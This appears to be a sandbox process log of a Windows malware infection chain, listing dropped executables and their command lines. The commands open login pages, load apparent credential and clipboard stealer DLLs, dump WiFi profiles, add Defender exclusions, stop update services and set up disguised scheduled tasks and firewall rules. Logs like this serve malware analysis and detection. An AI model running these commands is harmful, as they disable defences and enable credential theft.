C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4283.bat" "
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\uL6Fa5TM.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\uL6Fa5TM.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sd7uw5fi.exe
C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sd7uw5fi.exe
C:\Users\Admin\AppData\Local\Temp\43CC.exe
C:\Users\Admin\AppData\Local\Temp\43CC.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Hq3gO0Jh.exe
C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Hq3gO0Jh.exe
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login
C:\Users\Admin\AppData\Local\Temp\467D.exe
C:\Users\Admin\AppData\Local\Temp\467D.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1vI31WE5.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1vI31WE5.exe
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2Ni780Ph.exe
C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2Ni780Ph.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4216 -ip 4216
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4216 -s 540
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2528 /prefetch:2
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 /prefetch:3
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2580 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3160 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3152 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3968 /prefetch:1
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://store.steampowered.com/login/
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x108,0x10c,0x110,0xd8,0x114,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5184 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://twitter.com/i/flow/login
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5408 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://steamcommunity.com/openid/loginform/
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.epicgames.com/id/login
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5572 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5848 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.paypal.com/signin
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6072 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9dd5e46f8,0x7ff9dd5e4708,0x7ff9dd5e4718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5860 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6376 /prefetch:1
C:\Users\Admin\AppData\Local\Temp\7137.exe
C:\Users\Admin\AppData\Local\Temp\7137.exe
C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe
"C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"
C:\Users\Admin\AppData\Local\Temp\7B5A.exe
C:\Users\Admin\AppData\Local\Temp\7B5A.exe
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
C:\Users\Admin\AppData\Local\Temp\Broom.exe
C:\Users\Admin\AppData\Local\Temp\Broom.exe
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
C:\Users\Admin\AppData\Local\Temp\kos4.exe
"C:\Users\Admin\AppData\Local\Temp\kos4.exe"
C:\Users\Admin\AppData\Local\Temp\7F14.exe
C:\Users\Admin\AppData\Local\Temp\7F14.exe
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6652 /prefetch:8
C:\Users\Admin\AppData\Local\Temp\8966.exe
C:\Users\Admin\AppData\Local\Temp\8966.exe
C:\Users\Admin\AppData\Local\Temp\latestX.exe
"C:\Users\Admin\AppData\Local\Temp\latestX.exe"
C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x338 0x508
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 752 -ip 752
C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
"C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 752 -s 840
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe" /F
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "Admin:N"&&CACLS "Utsysc.exe" /P "Admin:R" /E&&echo Y|CACLS "..\e8b5234212" /P "Admin:N"&&CACLS "..\e8b5234212" /P "Admin:R" /E&&Exit
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp
"C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp" /SL4 $302EA "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe" 4760119 79360
C:\Program Files (x86)\BBuster\BBuster.exe
"C:\Program Files (x86)\BBuster\BBuster.exe" -i
C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" helpmsg 3
C:\Program Files (x86)\BBuster\BBuster.exe
"C:\Program Files (x86)\BBuster\BBuster.exe" -s
C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 helpmsg 3
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
C:\Windows\SysWOW64\cacls.exe
CACLS "Utsysc.exe" /P "Admin:N"
C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\clip64.dll, Main
C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
C:\Windows\system32\netsh.exe
netsh wlan show profiles
C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
"C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=7636 /prefetch:8
C:\Windows\system32\tar.exe
tar.exe -cf "C:\Users\Admin\AppData\Local\Temp\873812795143_Desktop.tar" "C:\Users\Admin\AppData\Local\Temp\_Files_\*.*"
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7968 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7944 /prefetch:1
C:\Windows\SysWOW64\cacls.exe
CACLS "Utsysc.exe" /P "Admin:R" /E
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
C:\Windows\SysWOW64\cacls.exe
CACLS "..\e8b5234212" /P "Admin:N"
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8068 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8216 /prefetch:1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
C:\Windows\SysWOW64\cacls.exe
CACLS "..\e8b5234212" /P "Admin:R" /E
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
C:\Windows\System32\sc.exe
sc stop UsoSvc
C:\Windows\System32\sc.exe
sc stop WaaSMedicSvc
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\System32\sc.exe
sc stop wuauserv
C:\Windows\System32\sc.exe
sc stop bits
C:\Windows\System32\sc.exe
sc stop dosvc
C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-ac 0
C:\Windows\System32\powercfg.exe
powercfg /x -standby-timeout-dc 0
C:\Users\Admin\AppData\Local\Temp\24BD.exe
C:\Users\Admin\AppData\Local\Temp\24BD.exe
C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
"C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7960 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7960 /prefetch:8
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8160 /prefetch:1
C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,13808833624080943430,16077395904771076872,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7808 /prefetch:1
C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
C:\Windows\SYSTEM32\schtasks.exe
schtasks /delete /tn ScheduledUpdate /f
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -nologo -noprofile
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
